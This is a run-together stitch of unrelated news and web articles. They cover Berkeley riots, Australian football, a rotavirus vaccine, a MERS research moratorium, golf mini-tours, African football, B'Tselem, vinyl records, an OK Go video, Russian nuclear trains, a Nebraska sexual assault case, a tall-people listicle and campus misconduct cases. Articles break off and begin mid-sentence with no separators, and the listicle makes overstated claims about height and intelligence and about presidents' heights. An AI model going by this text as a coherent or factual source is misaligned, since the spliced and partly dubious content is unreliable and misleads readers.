“Anti-fascists” started several fires, smashed windows and ATMs, looted downtown stores, attacked cars, and assaulted dozens of MILO fans, who they falsely accused of being “Nazis,” however only one suspect was arrested.
“I asked them ‘what did he say that made this guy a Nazi?’ and nobody knew,” said Shields. “They were like ‘oh, he said some racist stuff,’ and I asked, ‘what racist stuff did he say?’ and no one knew. They were just mindless… It was really insane.”
“More chaos started happening, so I went up to the police and tried bringing them back, but they were just like ‘we’re not really going over there. You should just stay away.'” he concluded. “I don’t know if they were taking orders from someone or if they were just being lazy. I don’t know what the situation was, but it was pathetic to watch. Our police, who are supposed to defend the citizens of Berkeley. It’s a sad scene that they would allow that.”
Charlie Nash is a reporter for Breitbart Tech. You can follow him on Twitter @MrNashington or like his page at Facebook.Fremantle’s Zac Dawson and Chris Mayne are free to play in next week’s home preliminary final after the AFL’s Match Review Panel released its findings from Saturday’s clash with Geelong at Simonds Stadium.Dawson was reported for striking Geelong’s James Podsiadly before the opening bounce of the qualifying final, but that charge was thrown out.The report laid against Dawson for striking Podsiadly was thrown out after the panel decided he had "used an open hand in his action and that the contact was below that required to constitute a reportable offence".The final quarter incident in which Dawson jumped in the air and clattered into Geelong skipper Joel Selwood was also looked at, but the panel found that Dawson was making a reasonable attempt to smother Selwood's handball.Contact between Dawson and Stokes, which occurred in the first quarter, was investigated. But the panel said that "it could not be determined conclusively that a reportable offence had occurred".Chris Mayne can accept a reprimand for a second-quarter incident involving Steve Johnson Mayne's contact with Johnson was graded as intentional, low impact and body contact which is 125 points or 93.75 with an early plea, leaving him free to play against either Sydney or Carlton in the preliminary final.India says it has developed a low cost vaccine to prevent diarrhea - a disease that claims the lives of tens of thousands of infants and young children in developing countries. It is expected to be on the market by next year, and is being hailed as a significant breakthrough.Health officials say that clinical test results indicate the new vaccine is safe and effective against rotavirus, which causes severe diarrhea in children under the age of five.Rotavirus is spread through contaminated hands and surfaces, and is common in poor communities across Asia and Africa. The severe dehydration that babies suffer due to a bout of diarrhea takes a toll of half a million children every year.There are two vaccines in the market for rotavirus developed by multinational drug firms. But their high cost has kept them out of reach for many children across Asia and Africa.The vaccine developed in India will be just $1 per dose, making it affordable for both families and governments who want to make it part of their national immunization programs.Doctor M.K. Bhan, who helped develop the vaccine from a strain of the virus discovered in a hospital where he worked in New Delhi many years ago, said it cuts by more than half the risk of diarrhea for very young children. Bhan said it will be administered to infants when they are just a few weeks old.“This is six, 10 and 14 weeks of age with other vaccines and three doses, so it will fit into our immunization program," he explained. "It gives protection for two years and almost 95 per cent of the rotavirus disease is over by two years of age. Part of the social contract is it will a dollar a dose vaccine for the entire world.”The vaccine will go to the regulator in about a month and could hit the market in less than a year in India. It will have to be approved by the World Health Organization before it can be distributed globally.The development of the vaccine has been hailed by groups like the GAVI Alliance, which helps poor countries in vaccination programs. It says cheaper prices will make it possible to immunize more children, ease shortages and drive down the cost charged by other manufacturers.Dr. Bhan, who is a pediatrician, says prevention of diarrhea is important because children who get it are not just at risk of dying. Treating it is also traumatic.Dr. Bhan explains it is not easy to administer oral rehydration syrup (ORS) to children in hospitals to prevent dehydration.“A nine-month old baby, who has some dehydration, if you have to administer ORS, even for me who is supposed to be an expert in this area, it is nightmarish," the doctor admitted. "I used to get frightened administering ORS to a nine-month old baby who was sick. And for poor mothers negotiating hospitals in the middle of the night, it is a tough task. We need prevention, I am all for prevention. The poorer the country, more important prevention is.”The development of the vaccine is also being described as a path breaking example of an innovative collaboration between the Indian government, the private sector and groups such as the Bill and Melinda Gates Foundation Part of the investment in the vaccine’s development has been borne by Bharat Biotech, a private Indian drug company. While India’s drug industry is well known for making low cost generic drugs, it is often faulted for not paying enough attention to supporting research.How A Tilt Toward Safety Stopped A Scientist's Virus Research
As cases of a worrisome respiratory virus continue to pop up in the Middle East, scientists who study it in the U.S. are struggling to understand how they'll be affected by a government moratorium on certain kinds of experiments.
One of those researchers is Ralph Baric, a virologist at the University of North Carolina School of Medicine in Chapel Hill. "Any virus that has pandemic potential, and that's any respiratory virus that emerges from animals, is a major public health concern," Baric says.
And Middle East respiratory syndrome, or MERS, fits that description perfectly. Camels seem to carry it, and it has sickened more than 900 people so far. Over a third died.
If this virus mutates so that it spreads easily through the air, millions could die. "It would go around the globe quickly, and this would result in high morbidity and mortality, disruption of the economy, and, in some cases, the collapse of governments," says Baric.
That's why researchers want to learn as much as they can about MERS. It's a type of virus called a coronavirus, which is the special focus of Baric's lab.
Usually coronaviruses only give people a case of the common cold. But MERS is the second deadly coronavirus that has jumped from animals to humans. The first was SARS, about a decade ago.
"Ralph is probably the foremost coronavirus biologist in the United States and one of the best in the world," says Matthew Frieman, a virologist at the University of Maryland School of Medicine who used to work in Baric's lab.
He says Baric's group has produced essential research tools — animal models, antibodies and mutant strains — that are used in coronavirus labs around the country. Almost anyone working on coronaviruses would admit that Baric is "the big cheese," Frieman says.
And Baric gets a lot of funding from the government.
So he really felt the effects in October, when the White House did something unusual. Officials said they were halting certain government-funded experiments on three viruses — influenza, SARS and MERS.
The Obama administration was concerned about any research that could make the viruses more dangerous, so they wanted to stop and review studies to see if they could make these germs capable of causing more disease or spreading easily through the air.
Officials with the National Institutes of Health say that about 18 grants, contracts and planned research projects fall under the new ban. They say waivers can be obtained for research that's critical for public health, though it's not clear exactly how long that will take.
Enlarge this image toggle caption Linda Kastleman/University of North Carolina Chapel Hill Linda Kastleman/University of North Carolina Chapel Hill
At first Baric was blissfully unaware that anything had happened. Word of the moratorium came out on a Friday afternoon when Baric was out of the office. He has four kids, and a daughter was getting married.
"I had a fantastic weekend. It was a beautiful wedding. It was one of the best times of my life. She was so happy," says Baric.
He recalls that when he came back to work that Monday, he opened his email and was stunned to learn about the moratorium. He thought of all his lab's research projects. "It took me 10 seconds to realize that most of them were going to be affected," he says.
The government's move came in the wake of some high-profile lab mishaps at the Centers for Disease Control and Prevention, plus some extremely controversial flu experiments.
Those flu studies made a deadly bird flu virus called H5N1 more contagious between ferrets, the lab stand-in for people. The goal of that work was to see whether this bird flu virus might mutate in the wild and start a pandemic in people. Critics were aghast. What if this lab-made superflu escaped?
"I don't think it's wise or appropriate for us to create large risks that don't already exist," says David Relman, a microbiologist at Stanford University.
He thinks the government was right to include SARS and MERS in this moratorium, because they are so close to being pandemic viruses.
"I'm quite delighted that great scientists like Ralph Baric are working on SARS and doing the work they are doing," says Relman. "But there still are specific experiments that I think should cause everyone pause and potentially cause concern if conducted."
For SARS and MERS, he says, "the one thing that I would feel most concerned about doing is to give them that one missing trait, their means of transmitting easily between humans."
Baric says that kind of experiment is not happening in his lab. He's not trying to change the way SARS or MERS gets transmitted. In fact, he doesn't know of any lab trying to do that.
Still, his group has recently been tweaking the genes of the MERS virus. So is he making it more dangerous? "If you're a mouse, the answer is probably yes, or at least I was trying to," says Baric.
Scientists study viruses in mice, so they can test vaccines and drugs. MERS doesn't make mice ill. Baric wants to alter the MERS virus so that it can make mice as sick as it makes people.
The trouble is, the government ban applies to all experiments that might make these viruses more dangerous in any mammal.
In response to questions from NPR, an NIH spokesperson sent this explanation:
"These three agents that are subject to the pause share the characteristics of not only being human health threats — causing in some instances significant morbidity and mortality, as you know — but furthermore having the potential to be the agents of a pandemic because they are transmitted easily by respiratory droplets. So experiments that would make them even more pathogenic in mammals (and hence potentially in people |
era and Henrik Stenson at the 2006 U.S. Open at Winged Foot. Tiger Woods missed the cut.
A common thread for mini-tour players, though, is that for every high moment, there’s a low moment — very low. For every T26 finish in the U.S. Open, there’s a season like the one Barlow had in 2011. He’d lost his Tour status a few years before and was surviving with a split schedule on the PGA and Web.com tours. Barlow — who has a wife, LeeAnn, of 17 years and a 5-year-old son, Riley — was getting by. But in 2011, he made just $66,646, a far cry from his seven-figure winnings from 2006, his best year on Tour.
“Life always has different paths that you can take,” Barlow says. “I took the wrong path. I started feeling sorry for myself. It snowballed to the point where nothing I did could make me happy.”
At the end of 2011, Barlow sat down for lunch with two friends in Las Vegas. “I didn’t have a good year,” he says. “It was the end of the season, and I didn’t get through Q-School. I opened my soul to them and told them that I didn’t think I had the desire anymore. At that moment, I didn’t. If I didn’t have them to talk to, I might have thrown in the towel. They said that I was meant to be a golfer, that life goes through ups and downs and that my game was going to go through ups and downs, too. They said, “It’s your job to battle the course.””
Barlow decided to change the way he approached each shot, each round, each tournament. He started caring again about his attitude and outlook, trusting that his game would follow. He typed an inspirational quote into the notes of his iPhone: “If you are depressed, you are living in the past. If you are anxious, you are living in the future. If you are at peace, you are living in the present.”
He now treats that phrase like golf scripture. “I came to the conclusion that I’m a golfer,” Barlow said. “That doesn’t mean it’s easy, that doesn’t mean that it’s hard — it’s what I want to do. I had a stretch where my attitude was very poor and my game followed it. My attitude now is good, and I’m in love with golf again.”
When the game gets hard, how do you cope? It’s a question that mini-tour players face almost every day.
The event in Maricopa is so mired in anonymity that it doesn’t even have a name. It features a field of 40 players playing for a purse of $42,000. Of the 16 players who will make the cut, only eight will earn more than $2,000. That isn’t exactly PGA Tour coin for guys like Barlow, who is still working to provide for his wife and son back in Vegas as he keeps trying to become the golfer he used to be.
At least Barlow made it to the Tour. Trent Sanders has not. He’s just starting his professional career.
A recent graduate of Washington State, Sanders, six feet one and 180 pounds, has a healthy tan and a punishing long game. What the 24-year-old doesn’t have much of is cash. In the 17 mini-tour events he played in 2014 — between the All-American Gateway Tour in Arizona and the eGolf Tour on the East Coast — Sanders made just five cuts to pocket $11,600. Entry fees cost about $1,400 per event, which means that most weeks he’s in the red. To make ends meet, he relies on sponsorships from friends, family and investors.
“It’s enticing, the idea of just taking a normal job, where you can stay in one spot and have a planned life and know where your next paycheck will come from,” Sanders says. “There’s a lot to be said for providing for a family, so I might look into what else would help me make more money. But having a golf course as your office is pretty enticing, too. I can’t imagine not playing golf competitively. It’s all I’ve ever done.”
Still, a job to supplement his income, Sanders explains, wouldn’t replace his gig as a touring professional. “I don’t think it’s worth going into [the life of a touring pro] unless you’re prepared to do whatever it takes to find a way to keep going. With that mindset, I see myself doing it for another 20 to 30 years.”
Sanders, who’s every bit as green as the course he’s playing on, has to practice creative belt-tightening. He spends his fall in Arizona, where he can shack up with his parents to save money. It’s not the ideal post-grad life, but renting an apartment isn’t easy with such an unreliable income. When he played on the East Coast in 2014, he and his wife, Rachel, stayed with friends for months at a time while she finished her schooling in Indiana.
While Rachel was taking exams, Sanders was driving his 2011 Kia Optima all over the country. He put 20,000 miles on the car in four months, traveling to Monday qualifiers and entering mini-tour events just a day later. If he wasn’t sharp enough on the course that Monday, Sanders would jump back in the car and race to the nearest mini-tour location to grab a Tuesday tee time and another shot at competition. “You just throw as many slacks and shirts as you can into a suitcase,” he says. “Hopefully you’re gone long enough making it through qualifiers that you have to find a place to do laundry. You get a lot of wrinkled pants and un-ironed shirts, but it tends to work out.”
Sometimes it doesn’t. Those on the mini-tours play a golf version of blackjack: They flirt with being busted and broke, waiting and hoping for that hot streak, when bad bounces aren’t so bad and good bounces are great. Top-10 finishes become top-3s and seconds become victories — which lead to exemptions and a higher status on a better tour, getting them closer to the PGA Tour.
Such a hot streak can transform a Trent Sanders into a Jimmy Walker, Kevin Stadler or Brian Harman, three 2014 Tour winners who all used to play mini-tour events like the one in Maricopa. Such a hot streak can make a career. It can also lead to misplaced hopes and dashed dreams.
Andre Metzger played some of the best golf of his life on the mini-tours in 2012. That may seem like a blessing, but it led him to PGA Tour Canada, which became one of his biggest regrets.
A former junior college All-American from Norman, Oklahoma, Metzger, 33, is stout and speaks with a drawl. For years after graduation, his greatest opponent wasn’t a golfer or a course but a form of arthritis that led to severe inflammation in his joints. He ached all over. Getting out of bed was a chore (although that helped him justify his video-game addiction), and in the winters he’d pop a dozen ibuprofen each day just to make it through his rounds caddying at Whisper Rock Golf Club in Scottsdale.
Starting in 2008, Metzger spent his summers playing the Dakotas Tour. For the first three years, he entered a handful of events and broke even, as he and his wife and caddie, Kim, visited her family in Sioux Falls, S.D. He notched top 5s in five of 11 events in 2011 but never found the winner’s circle. Consistently high finishes are great on the PGA Tour, but they don’t cut it in single-A ball.
“Financially, you just can’t take it,” Metzger says. “You’re not making money on the mini-tours unless you’re winning.”
An arthritis drug called Humira eased the inflammation in his joints and allowed him to truly find his game. “It was the freakiest thing ever,” he says. “I started playing golf again — I start bombing the ball. I mean, just bombing it.”
Metzger won three times in 2012 and grabbed the Player of the Year award on the Dakotas Tour. He seemed to be following in the footsteps of Kevin Streelman, a former Whisper Rock caddie who earned more than $2 million on the PGA Tour in 2014. But Metzger wasn’t even ready for PGA Tour Canada.
“The worst mistake I ever made was qualifying for that dang PGA Tour Canada,” Metzger says, adding that expenses (travel, hotel, meals, entry fees) took a toll. “I was spending $12,000 a month to get my ass kicked.”
Metzger made one cut in four starts, pocketing just $1,593. “The competition was really good,” he says. “On the Dakotas Tour, you’re really only playing against 15 guys. On PGA Tour Canada, you’re against all 150 guys.” He confesses that money-related worries followed him inside the ropes, affecting his play. “I had spent so much, it was the only thing on my mind.” Financial concerns convinced him to pack his bags and head back to the Dakotas Tour. “First event back in the States, I win it,” Metzger says. “I’m like, what is going on?” That’s the question he continues to ask, more than a year removed from his Canadian misadventure.
In October, as Barlow and Sanders head to Maricopa, Metzger sits in his Scottsdale condo trying to decide if trekking to the tournament just 40 miles south on Highway 347 is worth the hassle and effort. With a baby on the way, he’s somewhere between the wide-eyed innocence of Trent Sanders and the Tour-tested experience of Craig Barlow.
“I don’t know why I’m not at least on the Web.com Tour,” Metzger says. “I actually think I’m good enough for the PGA Tour.” He even thinks he can win a major.
“Not only do I believe in myself,” Metzger says, “but I’ve had a lot of people over the last couple years say, “You’ve got the game. You’ve got the mentality. You’ve got it all. There’s no reason you won’t get there.””
But words of support only go so far. It’s a vicious cycle for mini-tour players: Winning an event pays, of course, but to enter the event, you need money first.
“The toughest part about mini-tour golf is asking people for help,” Metzger says. “That’s not something that anybody wants to do, but unless you come from money, you have to.”
Metzger doesn’t come from money, and he’s not fresh out of college. He’s 33. Asking sponsors or family for financial aid at his age is like going trick-or-treating in high school. Metzger’s mini-tour career kicked off in earnest in 2011 at Whisper Rock, when he met the GoDaddy.com founder, billionaire Bob Parsons.
“I told Bob, “Listen, man, I can do this,”” Metzger says. That month, the pair played two rounds, during which Metzger convinced Parsons to buy the aspiring pro some new clubs and to give Metzger $7,500 to compete on the Dakotas Tour in 2012. Metzger’s Player of the Year title was impressive, but that was three years ago. Unlike Sanders, time is not on Metzger’s side. And unlike Barlow, he lacks years of experience at the game’s highest level. The clock is ticking, his future as a pro golfer hanging in the balance.
Barlow ties for ninth in Maricopa and earns $1,900. Metzger and Sanders miss the cut. For them, it’s not a total waste, since this tournament isn’t all about the money — it’s a preparatory event for the Web.com Qualifying Tournament, which concludes in December with 45 players earning membership for 2015. It starts in October, with more than a thousand of the world’s best non–PGA Tour golfers competing at several courses, including Southern Dunes in Maricopa.
Sanders stays home to save money, but Metzger and Barlow send in their entry fees. Metzger advances through the first stage of qualifying in Arizona but injures his shoulder and washes out at the second stage in Texas.
That leaves Barlow, the guy who made a promise to himself to remain positive and keep his head clear of doubt. That vow is tested at the 108-hole Q-School finals at PGA National in Palm Beach Gardens, Fla. Needing two birdies in his final four holes to gain partial status on the 2015 Web.com Tour — one rung below the PGA Tour — Barlow makes a triple-bogey on the 105th hole. Hopes dashed. “I’m disappointed, but that’s how it goes,” Barlow says. He adds, “It’s a fine line. The difference between the PGA Tour, Web.com and the mini-tours is steps. It’s not miles — it’s steps.”
Metzger must now retrace those steps, back to the same mini-tour schedule between Arizona and the Dakotas, and back to the same small purses that keep him and his wife in a one-bedroom condo. A life of scarcity can also be rich with experiences. “There are many perks,” Metzger says. “But I know one thing for sure: I didn’t have any gray hair before this job.”
For more news that golfers everywhere are talking about, follow @golf_com on Twitter, like us on Facebook, and subscribe to our YouTube video channel.Ivory Coast made hard work of winning their first game in Group B of this year's Africa Cup of Nations. The Elephants, favourites to win the tournament, dominated the first half but had to wait 39 minutes for Didier Drogba to open the scoring.
Sudan came into the game from that point on, having initially set themselves up to contain their opponents, but Drogba's remained the only goal of the match.
Gervinho fired over with the first shot of the game before Najem Abdullah was booked for fouling the Arsenal forward. Jean-Jacques Gosso's 25-yard swipe was wildly off target and Yaya Touré and Gervinho were also wasteful with headers.
Gervinho lashed wastefully wide following Drogba's superb control and lay-off but the opener finally arrived when Salomon Kalou crossed from the left for his Chelsea team-mate Drogba to head home his 51st international goal.
Sudan, ranked 120th in the world compared to their opponents' 18th, almost found an immediate response when Hamid Nazar's mis-hit shot was controlled by Mohamed Bashir, who fired wide, and then Eltaib Mudather cut inside and saw his shot tipped on to the crossbar by the keeper Boubacar Barry.
Sudan started the second half brightly, with Alaadine Yousif forcing a save from Barry and Nazar shooting wide.
Gervinho's close-range effort almost caused problems for the keeper Elmuez Maghoub before Mudather injured himself as he landed awkwardly after an ambitious overhead effort from about 30 yards
As Ivory Coast looked to kill the game off, the substitute and former Leeds United player Max Gradel dragged a shot hopelessly wide and Drogba volleyed over. Gervinho then struck a dropping ball just high and wide of the target and Yaya Touré got his 25-yard effort all wrong before the game petered out, Nazar shooting well wide from Sudan's last opportunity.In response to the MAG corps announcement detailing some of the investigations opened into "exceptional" cases during operation Protective Edge, Israeli human rights group B'Tselem stated that based on past experience, it isn't holding out hope that this process will lead to results other than a whitewash. B'Tselem announced this week that it will not assist the current military investigation mechanism, which currently amounts is nothing more than a masquerade. The organization called for the establishment of an effective, transparent and impartial mechanism. B'Tselem Executive Director, Hagai El-Ad: "The announcement demonstrates one of the current system's main shortcomings: its adamant refusal to investigate senior officials and examine honestly wide ranging policy issues pertaining to Israel's use of military force".
B’Tselem outlined three problems inherent to the system currently in place for investigating combat-related incidents:
The investigative apparatus is not structured to investigate top political and military officials responsible for policy and directives.
The MAG has a dual role: He gives legal counsel to the military before and during combat, yet is responsible for deciding on indicting those who violated the law. Where unlawful orders were issued following the MAG’s legal counsel, there is an inherent conflict of interests.
MPIU investigations focus solely on the soldier in the field. They are opened late, and the operational inquiry conducted before them allows soldiers to compare and alter their accounts of what happened; moreover, investigators often do not have access to the scene of the incident.
This week, B'Tselem and Yesh Din announced their joint conclusion that the Israeli authorities are unwilling to investigate harm caused to Palestinians. The two leading Israeli human rights organizations in monitoring the investigations of offenses committed by security forces against Palestinians, find that after results of hundreds of investigations lead to the inevitable conclusion that the existing investigation mechanism is marred by severe structural flaws that render it incapable of conducting professional investigations. The existing apparatus is incapable of investigating policy issues or breaches of law by senior ranking military officials, and fails to promote accountability among those responsible. The figures show that the Israeli authorities are unwilling to investigate human rights violations committed by security forces against Palestinians. The failure of the Government of Israel to implement the Turkel Commission’s recommendations, more than a year and a half after their publication, only reinforces this conclusion.
B’Tselem has decided to break with its previous practice concerning military operations in Gaza and reject a request made by the Military Advocate for Operational Matters Lt. Col. Ronen Hirsch to provide the military with information regarding "irregular" incidents that occurred during Operation Protective Edge. B’Tselem has changed its approach due to the poor track record of MAG Corps investigations so far. The organization explained the background to this decision in a detailed position paper. B'Tselem added that should the government decide to establish an independent investigation apparatus to seriously and objectively examine suspected violations of international humanitarian law by Israel during Operation Protective Edge, or should the Chechanover Commission decide to introduce a procedure that would automatically establish such a mechanism following every major military offensive in the Gaza Strip, we will be the first in line to welcome such a decision. A sufficient mechanism would be professional, viewed by the public as credible, and independent – both of the military system and of the political establishment.These days, most music isn’t leaping off the shelves, it’s being digitally downloaded. CDs have gone the way of other past technologies like cassette tapes and… well actually, records are staging a comeback. It’s small in terms of overall numbers, but a significant industry-wide trend.
Last November, The Guardian noted that U.K. record sales hit an 18-year high. Megan Gibson at Time reports that Nielsen Soundscan’s numbers show 9.2 million vinyl records sold in the U.S. last year, a 52 percent increase over 2013. Vinyl fans contend that the sound of records is "richer, warmer and clearer" than digital downloads Gibson writes. The nostalgia factor also attracts people — the top-selling records hint that the buyers aren’t older folk looking to remember good times, but young people looking for vinyl versions of their favorites.
But there is one problem. As NPR's C.J. Janovy reports: "The machines that press vinyl records are decades old, and no one's building new ones, so keeping up with increased demand is hard." In fact, record manufacturers are having a hard time matching the market.
Making a record requires several steps. First, electrical signals from a music recording are etched into a lacquer disk with an aluminum core. Then, at a production plant, that lacquer is coated in silver and nickel to create a metal master. The master serves as a stamp for the actual vinyl records.
The record cutters that etch the lacquer and the hydraulic presses that push stamps into vinyl are all in high demand. Chad Kassem, proprietor of Quality Record Pressings, a vinyl pressing plant in Salina, Kansas, told NPR that the first presses he found were in bad shape. Janovy reports:
There are about 16 record pressing plants now operating around the country, and Kassem says it's an arms race to find any remaining presses that aren't already being used and get them back into production. He hit his latest motherlode in Chicago, where he discovered thirteen rusting presses owned by a guy named Joell Hays, who runs a rehearsal studio and bought the abandoned presses on eBay a decade ago, thinking he always wanted to make records.
The struggle is echoed at other record factories, Neil Shah at the The Wall Street Journal reports:
Record labels are waiting months for orders that used to get filled in weeks. That is because pressing machines spit out only around 125 records an hour. To boost production, record factories are running their machines so hard—sometimes around the clock—they have to shell out increasing sums for maintenance and repairs.
Though record sales are up, they still only represent two percent of U.S. music sales, Shah writes. That makes investors unlikely to pour money into updating the machines needed to make more vinyl.
And though music aficionados are clamoring for vinyl, turntable sales are not getting a similar boost, notes DeVon Harris for Quartz. He writes:
In an increasingly digital world, there’s not only charm and soul in the retro sound of wax, but it’s also found in the 12” physical art that comes with them. The further we dive into the digital, virtual world, the more ironic and iconic the physical manifestation of music (and information for that matter) becomes.
So apparently, some people aren’t listening to the records, they’re looking at them. If that’s the case, than an industry struggling to keep up with demand will only make vinyl more precious.OK Go has released a BTS showing great insight into how they achieved their ambitious single shot, zero gravity music video for Upside Down, & Inside Out.
First thing’s first, if you haven’t already you must check out the video:
To say there were a couple of challenges filming this would clearly be an understatement.
It’s not quite as simple as choreographing some fun and games and enduring a zero gravity flight, if only if it were that simple.
Check out the below behind-the-scenes for a fantastic insight in how they filmed the single shot music video; overcoming the restrictions of only 27 second zero gravity stints, all the planning involved, not to mention the nausea.
In a nutshell, their 21 flights only enabled them with 27 second stints of zero gravity. it then took 4-5 minutes to gain enough momentum to generate another stint.
The song was divided into 8 27-second segments which were performed in zero gravity, the 4-5 minute sections were then cut out and using morph blending were merged together.
Unfortunately the song doesn’t quite divide into 27 second segments so easily, each verse and chorus is more accurately 21 seconds.
To combat this, everything was shot and performed 28.5% slower, so that when sped back up in post it would match the 27 seconds they had per zero gravity stint.
This also aid Directors Trish & Damian vision in creating movement that didn’t simply replicate the looked of slow motion. The slightly sped up tempo as well as fast actions gave the zero gravity a more unique feel.
The below alternative BTS video surfaced around the same time as the official video release, it plays out all 8 takes of the grand finale, a scene production nicknamed Thunderdome
OK Go can no doubt be considered pioneers of the conceptual music videos, from zero gravity music video to treadmill mounted dance routines to Busby Berkeley-esque choreographed wizardry, each video is guaranteed to pluck on the harp strings of unique-ness.VLADIMIR Putin has tested his new nuke train designed to be a “sheer nightmare” for his enemies and capable of striking anywhere at anytime.
Russia is developing a railway based nuclear launcher which will be constantly on alert hurtling around the Motherland. Disguised as regular passenger or freight trains, the carriages are actually packed with ballistic missiles designed to smash enemies of Putin. The trains can be stopped at a moments notice and deploy massive nuclear missile launchers as seen in this chilling test footage. Sounding like something out of a James Bond film – the nuke trains have taken a step into reality with a successful test launch at the Plesetsk Cosmodrome.
GETTY NUKE TRAIN: Vladimir Putin's Russia is rolling out mobile high speed railway missile launchers
“The wagons carrying the recently tested missiles resemble a freight refrigerator car for instance” Victor Murakhovsky The Barguzin nuke trains are described as “undetectable” and will be ready to strike at a moments notice on the dawn of World War 3. Each deadly train will be packed with six RS-24 Yars missiles which carry 4 huge 250 kiloton warheads each and have a range of 6,800 miles. The menacing missiles are normally strapped to the back of road-based launchers, but they have found a new home in the belly of the nuke train. Russia has been ramping up their nuclear power this year as they test a hypersonic nuclear warhead capable of reaching Britain within 13 minutes.
METRO GOLDENEYE: Russian forces use an armoured train in the Pierce Brosnan James Bond film
Putin’s new toy is expected to be rolled out across Russia by 2018 and is boasted to be second to none – adding the already impressive nuke arsenal coveted by the Kremlin. The pop-up launch test carried out earlier this month is expected to be followed up with a full scale combat drill. Russia had nuke trains in operation until 2005 but they were decommissioned, but Putin is determined to bring them back into service as tensions flare against NATO. Just last month, Russia unveiled plans for their deadly nation-killer nuke the “Satan 2” as experts warned Putin could “wipe out” the East Coast of the US with his nuclear arsenal.
YOUTUBE NUCLEAR LAUNCH: Putin's new trains will be rolled out by 2018
Russian defence expert Victor Murakhovsky described the nuke train as the “sheer nightmare” for foreign spies. Speaking to Radio Sputnik, he said: "Soviet-era platforms employed railway cars, different in size from standard rail carriages. The new missile complex fits onto standard rail gauge. "The wagons carrying the recently tested missiles resemble a freight refrigerator car for instance.”
Inside the Russian Army A look inside the powerful Russian Army. 1 / 38 Getty 5 Russia's soldiers prepare Russia's air defence system S-400 Triumf launch vehicles on August 13, 2014 in Elektrostal, Russia.
Murakhovsky added: "The United States was working on a similar program during the Cold War. "There was an idea to lay rail tracks underground and place launching platforms there. "Financing was wasted and they did not create anything even remotely resembling the Russian system.”
Putin's warships Putin's armed fleet heads for Dover as Moscow moves ships from the Med to square up to Royal Navy vessels in 'Operation Sea Fist' 1 / 25A sexual assault case involving an adult accused of conceiving a child with a minor is now moving through the court system in Fremont, Nebraska.
Josh Hazelrig, at just 15-years-old, is the father of a toddler. At 13 years old, Josh became a father. He met the then 19-year-old mother during a sleepover at a friend’s house. Well below the age of consent, Josh is a sexual assault victim.
“I was 13 and there was alcohol supplied, so I was not in the right state of mind,” he told Six on Your Side. "I know what sex is, but I never thought of the risk of not using a condom. I was never thinking about the risk of having a child."
The child's mother is 21-year- old Brianne McIntosh; she’s been charged with felony first degree sexual assault and child abuse. Dodge County Attorney Oliver Glass says he'll prosecute the sexual assault case like any other case.
"You hear the jokes, ‘oh good for him’ and that kind of stuff, but no…the trauma for either sex can be real and therapy may be needed,” said Glass. "It’s the first case I can recall that I've had where the sexes had been reversed.”
Barely a teenager, Josh has adult responsibilities. While most 15 year old boys are out camping or swimming, Josh is performing fatherly duties like changing diapers and lots of them.
Josh’s mother Kim Hazelrig said even though she can see the love and care her son gives his son, she wants justice. Kim wants the justice system to treat him as a victim of statutory rape.
"I think it was a manipulative game played on a then 13 year old boy and just because it’s a boy does not mean she should walk away from a crime,” Kim said.
The 17-month-old toddler is now a ward of the state placed with Kim and Josh.
“I love my child but it’s kind of overwhelming sometimes and that's why I have my family here to help me,” he said.
Josh is learning to be a dad when most kids his age think about a learners permit.
McIntosh is now 21 and faces two felonies that could put her in prison for up to 50 years. She does have supervised visitation. McIntosh declined comment and WOWT’s calls to her attorney haven’t been returned.6 Reasons Why Tall People Are Better Than You
The average American man is 5'9 and the average American woman is 5'4. But being taller has its advantages. Here are the facts:
1. Tall People Earn More
A 2004 study revealed that every inch adds about $789 per year in earnings.
2. They Are Smarter
Princeton economists published a 2006 study identifying why tall people make more money. The conclusion, they're smarter than you.
"As early as age 3 -- before schooling has had a chance to play a role -- and throughout childhood, taller children perform significantly better on cognitive tests,"
"As adults, taller individuals are more likely to select into higher-paying occupations that require more advanced verbal and numerical skills and greater intelligence, for which they earn handsome rewards."
They also state that nutrition can play a role in both height and intelligence. Therefore, better nourished babies end up taller and smarter.
3. Tall People are More Attractive
A study at the University of Gdansk in northern Poland concluded that the ideal height of an attractive woman was 5'9 and 6'2 for a man.
4. Tall People are Leaders
Only a handful of presidents have been shorter than average. In fact, the last time it happened was in 1896 with William McKinley who stood 5 feet 7 inches tall. The tallest presidents have been Abraham Lincoln at 6'4, Lyndon Johnson, Bill Clinton, Thomas Jefferson, and Franklin Roosevelt. The average CEO of fortune 500 companies is just a smidge under 6'.
5. They are Better Athletes
The average NBA player is about 6'7, NFL is over 6'1, MLB is over 6'1, NHL is 6'1 and tennis about 6'1.
6. Women Prefer Tall Men
A recent study shows that taller men are less likely to be bachelors and are more likely to have children. In fact, men with children are 1.2 inches taller than childless men. The reason behind this? Women view tall men as healthier and more likely to protect and provide.
So, you're not tall. What can you do about it?
9 Ways to Lie About Your Height
References:
http://www.cnn.com/2007/US/Careers/02/02/cb.tall.people/index.html
http://www.impactlab.com/modules.php?name=News&file=article&sid=10956
http://www.slate.com/id/2063439/
http://www.napa.ufl.edu/2003news/heightsalary.htm
http://www.gladwell.com/blink/blink_excerpt2.html
http://www.shortsupport.org/News/0219.html
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America's Funniest Home Videos FactsFallout from a pair of sexual misconduct scandals reverberated at two Bay Area campuses Wednesday: San Jose State officials scrambled to explain the handling of complaints against a professor found to have propositioned a student for a date during class, while dozens of UC Berkeley students protested the return to campus of the former law school dean who was disciplined after a 2015 investigation concluded he sexually harassed his executive assistant.
The rising tensions illustrated how universities across the country are grappling with the pressure to come down harder on esteemed faculty members who say they are being unfairly targeted as part of a relentless thirst for justice.
“In the face of public hysteria, I am the predator who never was,” Sujit Choudhry, who remains on the Berkeley law school’s faculty, wrote in a lengthy Op-Ed published Tuesday in the student-run Daily Californian.
Choudhry took a one-year, 10 percent pay cut and was ordered to write a letter of apology after an investigation found he subjected his executive assistant, Tyann Sorrell, to unwanted hugs, kisses and caresses.
He stepped down from his post in March after a lawsuit by Sorrell brought the case to light — and stayed away from the law school for the rest of the academic year, “consistent with President (Janet) Napolitano’s instruction,” according to Napolitano’s press secretary, Steve Montiel.
Interim law school dean Melissa Murray — who Montiel said will “identify and supervise his nonteaching duties” — said she did not know the former dean was returning to work until he arrived last week. He will not be teaching this academic year, Montiel said.
Choudhry did not return quietly. The law professor defended himself in the Daily Californian, asserted his right to work and begged those on campus to suspend judgment. He also noted that he was the subject of a second university investigation of his conduct, which he called an unprecedented “do-over” probe.
